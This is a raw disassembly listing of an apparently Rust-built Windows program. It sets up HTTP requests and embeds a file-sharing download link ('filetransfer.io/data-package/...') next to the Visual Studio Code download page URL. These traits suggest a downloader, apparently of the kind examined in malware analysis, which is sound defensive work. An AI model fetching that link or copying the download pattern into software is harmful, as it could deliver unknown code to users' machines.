mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
lea r15, [rbp + 0x1e0]
jmp 0x140118f40
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x1f0], rax
movups xmm0, xmmword [rbp + 0x80]
movaps xmmword [rbp + 0x1e0], xmm0
call fcn.140003ea0
call fcn.140001950
mov rdi, rax
and eax, 3
cmp eax, 1
jne 0x140119dbb
mov r13, qword [rdi - 1]
mov rbx, qword [rdi + 7]
mov rax, qword [rbx]
test rax, rax
je 0x140119d74
mov rcx, r13
call rax
cmp qword [rbx + 8], 0
je 0x140119d98
cmp qword [rbx + 0x10], 0x11
jb 0x140119d86
mov r13, qword [r13 - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
dec rdi
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea r13, [rbp + 0x80]
lea rbx, [rbp + 0x328]
mov rcx, rbx
call fcn.140001d30
cmp qword [rbp + 0x328], 0
je 0x140119ddf
mov rcx, qword [rbp + 0x330]
test rcx, rcx
je 0x140119ddf
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ecx, 5
call fcn.1400dcfa0
call fcn.140004e00
lea rax, [0x14018d8e8]
mov qword [rbp + 0x328], rax
mov qword [rbp + 0x330], 1
mov qword [rbp + 0x338], 8
movups xmmword [rbp + 0x340], xmm6
mov rcx, rbx
call fcn.1400e69a0
lea rcx, [rbp + 0x1e0]
call fcn.140001730
mov dil, 1
test r15, r15
je 0x140119e9c
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r12
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
call r12
mov al, 1
lea r15, [rbp + 0x1e0]
jmp 0x1401193eb
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
lea rcx, [rbp - 0x40]
call fcn.14010f250
mov r12, qword [rsi]
jmp 0x140118f65
call qword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
shl rdi, 0x20
or rdi, 2
test rbx, rbx
jne 0x140119b5c
jmp 0x140119b6e
mov al, 1
lea r15, [rbp + 0x1e0]
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1401193eb
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
test r15, r15
jne 0x140119d10
jmp 0x140119d22
mov rax, qword [rbp + 0x4e0]
mov rcx, qword [rbp + 0x4e8]
call qword [rax + 0x18]
lea rcx, [rbp + 0x5b0]
call fcn.1400f3010
mov rax, qword [rbp + 0x5d0]
test dil, 1
jne 0x14011a0a6
test rax, rax
je 0x140119f1d
mov rcx, qword [rbp + 0x5d8]
call qword [rax + 0x18]
cmp dword [rbp + 0x198], 2
mov rdi, qword [rbp + 0x58]
je 0x140118a20
lea rcx, [rbp + 0x198]
call fcn.14011bcf0
jmp 0x140118a20
test rax, rax
jne 0x14011b900
call fcn.14012b860
jmp 0x140118a9f
mov rcx, qword [rbp + 0x60]
mov rcx, qword [rcx + 8]
lock inc qword [rcx]
jle 0x14011b6d4
mov qword [rbp + 0x198], 0
mov qword [rbp + 0x1a0], rcx
mov qword [rbp + 0x1a8], 0
mov qword [rbp + 0x1b0], rax
xorps xmm0, xmm0
lea rax, [rbp + 0x1b8]
movups xmmword [rax], xmm0
mov qword [rbp + 0x1c8], 8
mov qword [rbp + 0x1d0], 0
mov qword [rbp + 0x1d8], rdi
mov qword [rbp + 0x5f0], rdi
mov rax, qword [rbp + 0x198]
mov rcx, qword [rbp + 0x1a0]
mov rdx, qword [rbp + 0x1a8]
mov r8, qword [rbp + 0x1b0]
movups xmm1, xmmword [rbp + 0x1b8]
movaps xmmword [rbp + 0x5d0], xmm1
mov qword [rbp + 0x5c0], rdx
mov qword [rbp + 0x5c8], r8
mov qword [rbp + 0x5b0], rax
mov qword [rbp + 0x5b8], rcx
mov rax, qword [rbp + 0x1c8]
mov qword [rbp + 0x5e0], rax
mov rax, qword [rbp + 0x1d0]
mov qword [rbp + 0x5e8], rax
cmp dword [rbp + 0x5b0], 1
mov rax, qword [rbp + 0x68]
je 0x14011bae7
cmp qword [rbp + 0x5c0], 0
jne 0x14011bb25
mov rbx, qword [rax + 0x10]
mov qword [rbp + 0x5c0], 0xffffffffffffffff
mov r12, qword [rbp + 0x5c8]
mov qword [rbp + 0x5c8], 0
test r12, r12
je 0x14011bb31
mov qword [rbp + 0x5c0], 0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x14011a0d3
cmp eax, 1
lea rsi, [0x14018d8e8]
je 0x14011a107
mov rcx, r12
call fcn.140111610
jmp 0x14011b5a6
test rax, rax
je 0x14011a0b5
mov rcx, qword [rbp + 0x5d8]
call qword [rax + 0x18]
cmp dword [rbp + 0x198], 2
je 0x14011b57b
lea rcx, [rbp + 0x198]
call fcn.14011bcf0
jmp 0x14011b57b
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd8]
lea rdx, [0x140118710]
call fcn.1400dc390
mov byte [rsi + 0x128], 1
lea rsi, [0x14018d8e8]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x110]
mov qword [rbp + 0x5a8], rcx
lea rcx, [rbp + 0x5b0]
mov qword [rax + 0x110], rcx
mov rax, qword [rbp + 0x5b8]
lea rcx, [rax + 0x10]
mov byte [rax + 0xb0], 1
lea rdx, [0x140168388]
mov qword [rbp + 0x4e0], rdx
mov qword [rbp + 0x4e8], rcx
lea rcx, [rbp + 0x4e0]
mov qword [rbp + 0x300], rcx
mov qword [rbp + 0x308], rcx
mov qword [rbp + 0x310], 0
lea rcx, [rbx + 0x140]
mov qword [rbp + 0x5a0], rcx
lea r13, [rbx + 8]
lea rcx, [rbx + 0x28]
mov qword [rbp + 0x578], rcx
lea rcx, [rbx + 0x118]
mov qword [rbp + 0x530], rcx
xorps xmm6, xmm6
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
je 0x14011b0f0
cmp qword [rbp + 0x5c0], 0
jne 0x14011b8e8
mov qword [rbp + 0x5c0], 0xffffffffffffffff
mov rcx, qword [rbp + 0x5c8]
test rcx, rcx
je 0x14011a200
call fcn.140111610
mov rax, qword [rbp + 0x5c0]
inc rax
jmp 0x14011a202
xor eax, eax
mov qword [rbp + 0x5c8], r12
mov qword [rbp + 0x5c0], rax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14011a320
cmp eax, 1
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
je 0x14011a273
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd8]
lea rdx, [0x140118710]
call fcn.1400dc390
mov byte [rsi + 0x128], 1
lea rsi, [0x14018d8e8]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ecx, byte [rax + 0x124]
mov dword [rbp + 0x604], ecx
movzx ecx, byte [rax + 0x125]
mov byte [rbp + 0x538], cl
mov word [rax + 0x124], 0x8001
movzx eax, byte [rbx + 0x148]
test eax, eax
je 0x14011a33c
cmp eax, 3
jne 0x14011b811
mov rax, qword [rbp + 0x5a0]
movzx eax, byte [rax]
test eax, eax
je 0x14011a4d0
cmp eax, 3
jne 0x14011b8c4
nop dword [rax]
cmp dword [r13], 2
jne 0x14011a969
mov rax, qword [rbx + 0x10]
mov qword [rbx + 0x10], 0
test rax, rax
je 0x14011b73f
mov qword [rbp + 0x1e0], 3
mov qword [rbp + 0x1e8], rax
jmp 0x14011aa80
mov dword [rbp + 0x604], eax
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [rbx + 0x148]
test eax, eax
jne 0x14011a2b8
mov qword [rbp + 0x328], rsi
mov qword [rbp + 0x330], 1
mov qword [rbp + 0x338], 8
movups xmmword [rbp + 0x340], xmm6
lea rdi, [rbp + 0x328]
mov rcx, rdi
call fcn.1400e69a0
mov qword [rbp + 0x328], 0
mov rcx, rdi
call qword [sym.imp.kernel32.dll_GetSystemTimePreciseAsFileTime]
mov r8, qword [rbp + 0x328]
mov rax, r8
movabs rdx, 0x19db1ded53e8000
sub rax, rdx
neg rax
movabs rcx, 0xfe624e212ac18000
add rcx, r8
cmp r8, rdx
cmovl rcx, rax
mov rax, rcx
movabs rdx, 0xd6bf94d5e57a42bd
mul rdx
shr rdx, 0x17
imul eax, edx, 0x989680
sub ecx, eax
movabs rax, 0x19db1ded53e7fff
cmp r8, rax
jle 0x14011baac
imul rax, rdx, 0x3e8
mov ecx, ecx
mov edx, 0xd1b71759
imul rcx, rdx
shr rcx, 0x2d
add rcx, rax
mov qword [rbp + 0x1e0], rcx
mov qword [rbp + 0x1e8], 0
mov qword [rbp + 0x80], r15
lea rax, [0x14000c660]
mov qword [rbp + 0x88], rax
lea rax, str.Time:
mov qword [rbp + 0x328], rax
mov qword [rbp + 0x330], 2
mov qword [rbp + 0x348], 0
lea rax, [rbp + 0x80]
mov qword [rbp + 0x338], rax
mov qword [rbp + 0x340], 1
mov rcx, rdi
call fcn.1400e69a0
mov qword [rbp + 0x328], rsi
mov qword [rbp + 0x330], 1
mov qword [rbp + 0x338], 8
movups xmmword [rbp + 0x340], xmm6
mov rcx, rdi
call fcn.1400e69a0
mov qword [rbp + 0x328], rsi
mov qword [rbp + 0x330], 1
mov qword [rbp + 0x338], 8
movups xmmword [rbp + 0x340], xmm6
mov rcx, rdi
call fcn.1400e69a0
mov ecx, 5
call fcn.1400dcfa0
jmp 0x14011a4e0
lea rdi, [rbp + 0x328]
jmp 0x14011a4ea
mov rax, qword [rbp + 0x5a0]
mov byte [rax], 0
mov rcx, rdi
call fcn.1400700c0
mov rcx, rdi
call fcn.140070ae0
mov r12, rdx
test al, 1
jne 0x14011b6d6
mov qword [rbx], r12
mov qword [rbp + 0x520], 0
mov qword [rbp + 0x500], 0
mov qword [rbp + 0x510], 0
mov r9d, 0x26
lea rcx, [rbp + 0x80]
lea rdx, [rbp + 0x500]
lea r8, str.https:__code.visualstudio.com_download
call fcn.1400ffeb0
mov rsi, qword [rbp + 0x80]
mov rax, rsi
neg rax
jno 0x14011a5e0
movzx edi, byte [rbp + 0x88]
movzx eax, byte [0x14019f308]
mov edx, 1
xor ecx, ecx
call fcn.1400e7f40
test rax, rax
je 0x14011b757
mov rsi, rax
mov byte [rax], dil
movzx eax, byte [0x14019f308]
mov edx, 0x70
xor ecx, ecx
call fcn.1400e7f40
test rax, rax
je 0x14011b708
movabs rcx, 0x8000000000000000
mov qword [rax], rcx
mov qword [rax + 0x58], rsi
lea rcx, [0x140159008]
mov qword [rax + 0x60], rcx
mov word [rax + 0x68], 0
mov ecx, 2
lock inc qword [r12]
jg 0x14011a770
jmp 0x14011b6d4
mov rdi, qword [rbp + 0x88]
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movups xmm2, xmmword [r14 + 0x20]
movaps xmmword [rbp + 0x540], xmm0
movaps xmmword [rbp + 0x550], xmm1
movaps xmmword [rbp + 0x560], xmm2
movzx eax, byte [rbp + 0xc0]
mov rcx, qword [r14 + 0x40]
mov qword [rbp + 0x58f], rcx
movups xmm0, xmmword [r14 + 0x31]
movaps xmmword [rbp + 0x580], xmm0
test al, al
je 0x14011a6e0
movaps xmm0, xmmword [rbp + 0x540]
movaps xmm1, xmmword [rbp + 0x550]
movaps xmm2, xmmword [rbp + 0x560]
movaps xmmword [rbp + 0xa0], xmm2
movaps xmmword [rbp + 0x90], xmm1
movaps xmmword [rbp + 0x80], xmm0
movaps xmm3, xmmword [rbp + 0x580]
movaps xmmword [rbp + 0x500], xmm3
mov rcx, qword [rbp + 0x58f]
mov qword [rbp + 0x50f], rcx
movaps xmmword [rbp + 0x540], xmm0
movaps xmmword [rbp + 0x550], xmm1
movaps xmmword [rbp + 0x560], xmm2
movaps xmm0, xmmword [rbp + 0x500]
movaps xmmword [rbp + 0x580], xmm0
mov rcx, qword [rbp + 0x50f]
mov qword [rbp + 0x58f], rcx
movaps xmmword [rbp + 0x70], xmm6
mov qword [rbp + 0x598], rsi
mov qword [rbp + 0x4f0], rdi
mov byte [rbp + 0x570], al
xor ecx, ecx
lock inc qword [r12]
jg 0x14011a770
jmp 0x14011b6d4
movzx eax, byte [0x14019f308]
mov edx, 0x70
xor ecx, ecx
call fcn.1400e7f40
test rax, rax
je 0x14011b708
mov qword [rax + 0x58], 1
lea rcx, [0x140158ae0]
mov qword [rax + 0x60], rcx
mov word [rax + 0x68], 0
mov qword [rax], rsi
mov qword [rax + 8], rdi
movaps xmm0, xmmword [rbp + 0x540]
movaps xmm1, xmmword [rbp + 0x550]
movaps xmm2, xmmword [rbp + 0x560]
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm1
movups xmmword [rax + 0x30], xmm2
mov byte [rax + 0x40], 0
movaps xmm0, xmmword [rbp + 0x580]
movups xmmword [rax + 0x41], xmm0
mov rcx, qword [rbp + 0x58f]
mov qword [rax + 0x50], rcx
mov ecx, 2
lock inc qword [r12]
jle 0x14011b6d4
nop word [rax + rax]
mov qword [rbp + 0x80], rcx
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x510]
mov qword [r14 + 0x10], rax
movups xmm0, xmmword [rbp + 0x500]
movups xmmword [r14], xmm0
mov qword [rbp + 0xa8], 0
movups xmm0, xmmword [rbp - 0x50]
movups xmmword [r14 + 0x20], xmm0
mov qword [rbp + 0xc0], 0
mov qword [rbp + 0xc8], 8
movaps xmm0, xmmword [rbp + 0x70]
movups xmmword [r14 + 0x40], xmm0
mov qword [rbp + 0xe0], 8
mov qword [rbp + 0xe8], 0
mov qword [rbp + 0xf0], 2
mov qword [rbp + 0xf8], 0
mov word [rbp + 0x100], 0
movzx eax, word [rbp + 0x52c]
mov word [r14 + 0x76], ax
mov eax, dword [rbp + 0x528]
mov dword [r14 + 0x72], eax
mov rax, qword [rbp + 0x598]
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x4f0]
mov qword [rbp + 0x110], rax
movaps xmm0, xmmword [rbp + 0x540]
movaps xmm1, xmmword [rbp + 0x550]
movaps xmm2, xmmword [rbp + 0x560]
movups xmmword [r14 + 0xa8], xmm2
movups xmmword [r14 + 0x98], xmm1
movups xmmword [r14 + 0x88], xmm0
movzx eax, byte [rbp + 0x570]
mov byte [rbp + 0x148], al
mov rax, qword [rbp + 0x58f]
mov qword [r14 + 0xc8], rax
movaps xmm0, xmmword [rbp + 0x580]
movups xmmword [r14 + 0xb9], xmm0
mov dword [rbp + 0x168], 0x3b9aca00
mov byte [rbp + 0x170], 1
mov dword [r14 + 0xe4], 0
mov dword [r14 + 0xe1], 0
movups xmmword [r14 + 0xe8], xmm6
mov byte [rbp + 0x188], 2
mov rcx, r15
mov rdx, r12
lea r8, [rbp + 0x80]
call fcn.140079350
cmp dword [rbp + 0x1e0], 2
jne 0x14011a910
mov qword [rbp + 0x328], 2
mov rax, qword [rbp + 0x1e8]
mov rsi, qword [rbp + 0x2f0]
mov qword [rbp + 0x330], rax
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
lock dec qword [rsi]
je 0x14011a936
jmp 0x14011a942
mov rsi, qword [rbp + 0x2f0]
lea rcx, [rbp + 0x328]
mov rdx, rsi
mov r8, r15
call fcn.140073130
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
lock dec qword [rsi]
jne 0x14011a942
lea rcx, [rbp + 0x2f0]
call fcn.140095190
mov r8d, 0x138
mov rcx, r13
lea rdx, [rbp + 0x328]
call fcn.140120b90
lea rsi, [0x14018d8e8]
cmp dword [r13], 2
je 0x14011a2eb
mov rcx, r15
mov rdx, r13
lea r8, [rbp + 0x300]
call fcn.1400755d0
cmp qword [rbp + 0x1e0], 4
jne 0x14011aa80
mov rax, qword [rbp + 0x5a0]
mov byte [rax], 3
mov dil, 3
mov sil, 1
mov byte [rbx + 0x148], dil
mov r12d, dword [rbp + 0x604]
cmp r12b, 2
je 0x14011aa25
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14011aa25
cmp eax, 1
je 0x14011a9fe
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x1400ef550]
call fcn.1400dc390
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x124], r12b
movzx ecx, byte [rbp + 0x538]
mov byte [rax + 0x125], cl
cmp qword [rbp + 0x5c0], 0
jne 0x14011b8f4
mov qword [rbp + 0x5c0], 0xffffffffffffffff
mov r12, qword [rbp + 0x5c8]
mov qword [rbp + 0x5c8], 0
test r12, r12
je 0x14011b8d0
mov qword [rbp + 0x5c0], 0
test sil, sil
jne 0x14011b0f0
jmp 0x14011b3f1
mov r8d, 0x98
lea rcx, [rbp - 0x40]
mov rdx, r15
call fcn.140120b90
cmp dword [r13], 2
jne 0x14011ab20
mov r12, qword [rbx + 0x10]
test r12, r12
je 0x14011ad84
mov rdi, qword [r12 + 0x58]
test rdi, rdi
je 0x14011aaea
mov rsi, qword [r12 + 0x60]
mov rax, qword [rsi]
test rax, rax
je 0x14011aac6
mov rcx, rdi
call rax
cmp qword [rsi + 8], 0
je 0x14011aaea
cmp qword [rsi + 0x10], 0x11
jb 0x14011aad8
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [r12]
neg rax
jo 0x14011ab09
jae 0x14011ab09
mov r8, qword [r12 + 8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rsi, [0x14018d8e8]
jmp 0x14011ad72
cmp byte [rbx + 0x100], 0xa
jb 0x14011ab46
cmp qword [rbx + 0x110], 0
je 0x14011ab46
mov r8, qword [rbx + 0x108]
mov rcx, qword [0x14019f258]
xor edx, edx
call r12
cmp qword [rbx + 0x90], 0
je 0x14011ab63
mov r8, qword [rbx + 0x98]
mov rcx, qword [0x14019f258]
xor edx, edx
call r12
cmp qword [rbx + 0x80], 0
je 0x14011ab7d
mov r8, qword [rbx + 0x78]
mov rcx, qword [0x14019f258]
xor edx, edx
call r12
mov rsi, qword [rbx + 0x58]
test rsi, rsi
je 0x14011abd0
mov rdi, qword [rbx + 0x50]
add rdi, 0x30
jmp 0x14011abab
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
add rdi, 0x68
dec rsi
je 0x14011abd0
mov rax, qword [rdi + 0x10]
test rax, rax
je 0x14011ab90
lea rcx, [rdi + 0x28]
mov rdx, qword [rdi + 0x18]
mov r8, qword [rdi + 0x20]
call qword [rax + 0x10]
jmp 0x14011ab90
cmp qword [rbx + 0x48], 0
je 0x14011abe7
mov r8, qword [rbx + 0x50]
mov rcx, qword [0x14019f258]
xor edx, edx
call r12
mov rdi, qword [rbx + 0x70]
test rdi, rdi
je 0x14011ac1b
mov rsi, qword [rbx + 0x68]
add rsi, 0x38
nop dword [rax + rax]
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x48
dec rdi
jne 0x14011ac00
cmp qword [rbx + 0x60], 0
je 0x14011ac32
mov r8, qword [rbx + 0x68]
mov rcx, qword [0x14019f258]
xor edx, edx
call r12
cmp qword [r13], 0
je 0x14011ac54
mov rax, qword [rbx + 0x10]
test rax, rax
je 0x14011ac54
mov rdx, qword [rbx + 0x18]
mov r8, qword [rbx + 0x20]
mov rcx, qword [rbp + 0x578]
call qword [rax + 0x10]
mov rsi, qword [rbx + 0xf8]
test rsi, rsi
je 0x14011aca0
mov rdi, qword [rbx + 0xf0]
add rdi, 8
jmp 0x14011ac79
add rdi, 0x58
dec rsi
je 0x14011aca0
cmp qword [rdi - 8], 0
je 0x14011ac70
mov r8, qword [rdi]
mov rcx, qword [0x14019f258]
xor edx, edx
call r12
jmp 0x14011ac70
cmp qword [rbx + 0xe8], 0
je 0x14011acbd
mov r8, qword [rbx + 0xf0]
mov rcx, qword [0x14019f258]
xor edx, edx
call r12
mov rax, qword [rbp + 0x530]
mov rax, qword [rax]
lock dec qword [rax]
jne 0x14011acd9
mov rcx, qword [rbp + 0x530]
call fcn.14010d990
mov rdi, qword [rbx + 0x120]
mov rsi, qword [rbx + 0x128]
mov rax, qword [rsi]
test rax, rax
je 0x14011acf4
mov rcx, rdi
call rax
cmp qword [rsi + 8], 0
je 0x14011ad15
cmp qword [rsi + 0x10], 0x11
jb 0x14011ad06
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call r12
mov r12, qword [rbx + 0x138]
test r12, r12
lea rsi, [0x14018d8e8]
je 0x14011ad84
mov rcx, r12
call fcn.1400f6880
lea rcx, [r12 + 8]
test byte [r12], 1
je 0x14011ad50
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14011ad60
call fcn.14010cb70
jmp 0x14011ad60
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14011ad60
call fcn.14002d650
nop
mov rax, qword [r12 + 0x48]
test rax, rax
je 0x14011ad72
mov rcx, qword [r12 + 0x50]
call qword [rax + 0x18]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
cmp dword [rbp - 0x40], 3
jne 0x14011ade0
mov qword [rbp + 0x1e0], rsi
mov qword [rbp + 0x1e8], 1
mov qword [rbp + 0x1f0], 8
movups xmmword [rbp + 0x1f8], xmm6
mov rcx, r15
call fcn.1400e69a0
mov ecx, 3
call fcn.1400dcfa0
lea rcx, [rbp - 0x40]
call fcn.14010f250
mov r12, qword [rbx]
jmp 0x14011a508
mov qword [rbp + 0x1e0], rsi
mov qword [rbp + 0x1e8], 1
mov qword [rbp + 0x1f0], 8
movups xmmword [rbp + 0x1f8], xmm6
mov rcx, r15
call fcn.1400e69a0
lea rcx, [rbp - 0x40]
call fcn.14010f250
mov rax, qword [rbx]
lock dec qword [rax]
jne 0x14011ae26
mov rcx, rbx
call fcn.14010d990
mov rax, qword [rbp + 0x5a0]
mov byte [rax], 1
lea rdi, str.REQWEST_URLhttps:__filetransfer.io_data_package_qhvbJk0W_download
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], 0xb
lea rdx, [0x14018d983]
mov qword [rbp + 0x80], rdx
mov qword [rbp + 0x88], 0x36
mov rcx, rdi
call fcn.1400ebb60
test rax, rax
lea rcx, [rbp + 0x328]
jne 0x14011b928
mov r8d, 0xb
mov rdx, rdi
call fcn.1400e0ed0
mov r15, qword [rbp + 0x328]
mov rax, r15
neg rax
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
jo 0x14011af88
mov rdi, qword [rbp + 0x330]
mov r8, qword [rbp + 0x338]
test byte [rbp + 0x340], 1
jne 0x14011af50
test r8, r8
je 0x14011af50
lea rax, [rdi + r8]
mov rdx, rdi
jmp 0x14011aee8
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop word cs:[rax + rax]
mov rdx, rcx
cmp rcx, rax
je 0x14011af50
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x14011aee0
cmp r9b, 0xe0
jb 0x14011aec9
cmp r9b, 0xed
jne 0x14011af1e
cmp rcx, rax
je 0x14011af50
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14011af50
cmp byte [rdx + 1], 0x9f
ja 0x14011af74
add rdx, 3
mov rcx, rdx
jmp 0x14011aee0
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x14011aee0
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x14011aee0
lea rcx, [rbp + 0x80]
mov rdx, rdi
call fcn.140003940
xor eax, eax
cmp rax, qword [rbp + 0x80]
jno 0x14011afa0
mov ecx, 5
call fcn.1400dcfa0
test r15, r15
je 0x14011af88
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call r12
lea r15, [rbp + 0x1e0]
lea rdi, [rbp + 0x328]
jmp 0x14011a4e0
mov qword [rbp + 0x4f8], rdi
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x1f0], rax
movups xmm0, xmmword [rbp + 0x80]
movaps xmmword [rbp + 0x1e0], xmm0
call fcn.140003ea0
call fcn.140001950
mov rdi, rax
and eax, 3
cmp eax, 1
jne 0x14011b037
mov rsi, qword [rdi - 1]
mov r12, qword [rdi + 7]
mov rax, qword [r12]
test rax, rax
je 0x14011afee
mov rcx, rsi
call rax
cmp qword [r12 + 8], 0
je 0x14011b017
cmp qword [r12 + 0x10], 0x11
jb 0x14011b002
mov rsi, qword [rsi - 8]
mov rax, qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call rax
dec rdi
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
call r12
lea rsi, [0x14018d8e8]
lea rcx, [rbp + 0x328]
call fcn.140001d30
cmp qword [rbp + 0x328], 0
je 0x14011b05f
mov rcx, qword [rbp + 0x330]
test rcx, rcx
je 0x14011b05f
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ecx, 5
call fcn.1400dcfa0
call fcn.140004e00
mov qword [rbp + 0x328], rsi
mov qword [rbp + 0x330], 1
mov qword [rbp + 0x338], 8
movups xmmword [rbp + 0x340], xmm6
lea rcx, [rbp + 0x328]
call fcn.1400e69a0
lea rcx, [rbp + 0x1e0]
call fcn.140001730
mov dil, 1
test r15, r15
je 0x14011b0d3
mov rcx, qword [0x14019f258]
xor esi, esi
xor edx, edx
mov r8, qword [rbp + 0x4f8]
call r12
lea r15, [rbp + 0x1e0]
jmp 0x14011a999
xor esi, esi
lea r15, [rbp + 0x1e0]
jmp 0x14011a999
mov r8, qword [rbp + 0x5b8]
mov esi, dword [r8 + 0x40]
test esi, esi
je 0x14011b2f6
nop word cs:[rax + rax]
cmp byte [r12 + 0x68], 0
jne 0x14011b398
inc dword [r12 + 0x60]
mov rdx, qword [rbp + 0x5b8]
add rdx, 0x10
mov rcx, r12
call fcn.1400fbdf0
test rax, rax
je 0x14011b330
cmp qword [rbp + 0x5c0], 0
jne 0x14011b8e8
mov rdi, rax
mov qword [rbp + 0x5c0], 0xffffffffffffffff
mov rcx, qword [rbp + 0x5c8]
test rcx, rcx
je 0x14011b180
call fcn.140111610
mov rax, qword [rbp + 0x5c0]
inc rax
jmp 0x14011b182
xor eax, eax
mov qword [rbp + 0x5c8], r12
mov qword [rbp + 0x5c0], rax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r15d, byte [rax + 0x128]
cmp r15d, 2
je 0x14011b220
cmp r15d, 1
je 0x14011b1e5
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
lea rcx, [r15 + 0xd8]
lea rdx, [0x140118710]
call fcn.1400dc390
mov byte [r15 + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r15d, byte [rax + 0x124]
movzx r12d, byte [rax + 0x125]
mov word [rax + 0x124], 0x8001
jmp 0x14011b220
mov rax, qword [rdi + 0x10]
mov rcx, rdi
call qword [rax]
cmp r15b, 2
je 0x14011b2a1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14011b2a1
cmp eax, 1
je 0x14011b280
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x1400ef550]
call fcn.1400dc390
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x124], r15b
mov byte [rax + 0x125], r12b
cmp qword [rbp + 0x5c0], 0
jne 0x14011b8f4
mov qword [rbp + 0x5c0], 0xffffffffffffffff
mov r12, qword [rbp + 0x5c8]
mov qword [rbp + 0x5c8], 0
test r12, r12
lea r15, [rbp + 0x1e0]
je 0x14011b8d0
mov qword [rbp + 0x5c0], 0
dec esi
jne 0x14011b110
mov r8, qword [rbp + 0x5b8]
add r8, 0x10
lea rcx, [rbp + 0x5b8]
mov rdx, r12
call fcn.1400fc530
mov r12, rax
mov rax, qword [rbp + 0x5b8]
lea rsi, [0x14018d8e8]
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
jne 0x14011a1bb
jmp 0x14011b0f0
movabs rax, 0x7fffffffffffffff
cmp qword [rbp + 0x5d0], rax
jae 0x14011bb96
